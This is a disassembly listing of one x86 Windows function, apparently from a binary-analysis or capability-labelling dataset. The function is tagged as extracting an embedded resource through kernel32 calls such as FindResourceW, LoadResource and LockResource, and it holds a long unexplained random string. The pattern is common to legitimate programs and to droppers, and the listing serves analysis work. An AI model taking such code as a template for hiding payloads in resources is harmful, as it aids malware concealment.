Function at 0x402270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4142f3
mov eax, dword fs:[0]
push eax
sub esp, 0x83c
mov eax, dword [0x469090]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x83c], ecx
mov dword [ebp - 4], 0
push 0x41a628
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 0
jne 0x4022ea
mov dword [ebp - 0x834], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004043e0
mov eax, dword [ebp - 0x834]
jmp 0x402423
mov dword [ebp - 0x840], str.BK6ntz4q7cSVgviV9eJnPujA2W2GL41dzLeWNxOuEKi5HLXS2awto4vs3o8oTAMnt8a9xRykvVee5OAFz0B6YTSvxm1OJJrsElPCdVziMj357iNnCLClsiiVVJtT9PV9Wu5qAsNWGzvfmHnNw76K0RgaEuJsN2mPHgF6FuN3ntKk4lgq9gsl1ATM8Enk8jYCOScDNnOy2QiPjmuuRY3AaI2DNmngirbkEcasvPHERB6hUHjRBD3nqT5I9N5Xf6tr9B0tDRWG6Hr5sa2bJcy6Y35gCgg8IHxbH6Y1hQGfYg2EBdlNDa6CkyUJnjU7eVp0OoJ5U28hmMuIru9vkWGy80MciQkL7podxk28UYsj1FAnzGT2j8IhOwTimAcbSTQs29hbd9H2q1qMX1DT0apdoi06EmDdQpzcrYOrQe9b920nMJtYMhMVt0pwJi5qwVsfPFSiCoDnefEhq7ABYuI7rP0oAKhXEuvRiQviXnB98p4crpdpQwSBmxgrGojFa8JFOUw44n4TNwfyCUJvEWOn1kdgU6CXbRhGm2CpNaAVBTvlXWwky2SyRWulE4UW4OmjO9khJYlrn6wfFP7IHQep7Gj6HJjnl1gl4UXJ9C4wqVhy7U4XbeRlBjrLkMaAKAkXVOJ22l68tu4eSx1F2KDRW8eygddCfD0Lb5Av4Xi9I8yON5HQfMcHrVDvFfw8YiOJwGoFENbjPsHAQUWWMr3D33azanupjHncDoLbRHMgTnOogtDKyBuFtlTBPoNnM2kUaIeMv1Jyt1vIp9HsoWGS7awjdjvDbrr2FX3r5BfCyOJJUneE7SBw4oikhrYoq8x5IapcLQ7KCrMdCBjjuA2X8p1aukUuJjyYL9egvDHbAPgBvj9Of2CLP87eHOlsqcr3hvlYSpXYOe7XPX1U1UOzmXyNi1Bq72i0CzmQc5oa76B0Y4iKrITcDQU53gn9y4fTbsHuu68AMak4B8nS6H0Ahgk9dcG5Jywge4HGtpO3wsd9xGOewR4PB9wWtHRgPOpW21qjyvJcwfvSNga6b0Q9DYLl2Wzpe8ieNKOsQnHzq5LyDq7euDWV5NY6slNQvODKGqEhdx9DjKW3tJoHS7NFo5zPPARztdYAOYv8a04HIlfWYOP1FtF1GSB4FDrd8EU9e9NsUj10DbfqYfl49ACLNJEfWHu2Dv9hYnMTqv8EwSOkwET7y2zRhIVF4ikUrarc1UydlbaFfjd7RGyP6dholodwU8yq70DvhMYgXppVcBWVtXrhWfhwXQNUOfbKtrGdDJN6oMKea9Vv0cMSc2YDHtkDsdxMRg7yuAa8EDlb2xenxbxTsgWkV9cN81f6CAY55CUK8GlwN9oUniKx3WU0a2tfE4qpUrYcySVolDPYH8sTedbFcdw5goLYTyeznvyvBdBgpUvNc753hHridJbrcrF6Q8sUNLKxMBr5faf9K9KLDxAIxz7Q6yXYBCG1uThmdNc6ufd8f3iyv1iPqaXrQa2bdaRsKrbXdlUyHL0A8aOEyjyHn2FP5fch8OHE4AYT0cW23CcpjL8aAeVUO9t032Q0aCFQ3kKlHOUonPqB39QYvkvF4VPhETm5yw28sf30k8ESbFld1smQoPPHkfwhrs8oTsKobIXbLrk2xyzmgSMluG1oFqyXBvxQciDnfM6KNBkJfbOhfw3Q7yFE5gdCX43sQSdCPcyd6Pjb
mov eax, dword [ebp - 0x818]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x820], eax
push 0x400
lea ecx, [ebp - 0x810]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [ebp - 0x818]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 0
jne 0x40235f
mov dword [ebp - 0x838], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004043e0
mov eax, dword [ebp - 0x838]
jmp 0x402423
mov eax, dword [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
jne 0x40239f
mov dword [ebp - 0x830], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004043e0
mov eax, dword [ebp - 0x830]
jmp 0x402423
movzx ecx, byte [ebp + 8]
test ecx, ecx
je 0x402402
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x848], esp
lea edx, [ebp + 0xc]
push edx
call fcn.004042f0
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x844], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x820]
push ecx
push 0
mov edx, dword [ebp - 0x814]
push edx
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x83c]
call fcn.00404190
mov dword [ebp - 0x824], eax
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x814]
mov dword [ebp - 0x828], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004043e0
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406c09
mov esp, ebp
pop ebp
ret 0x1c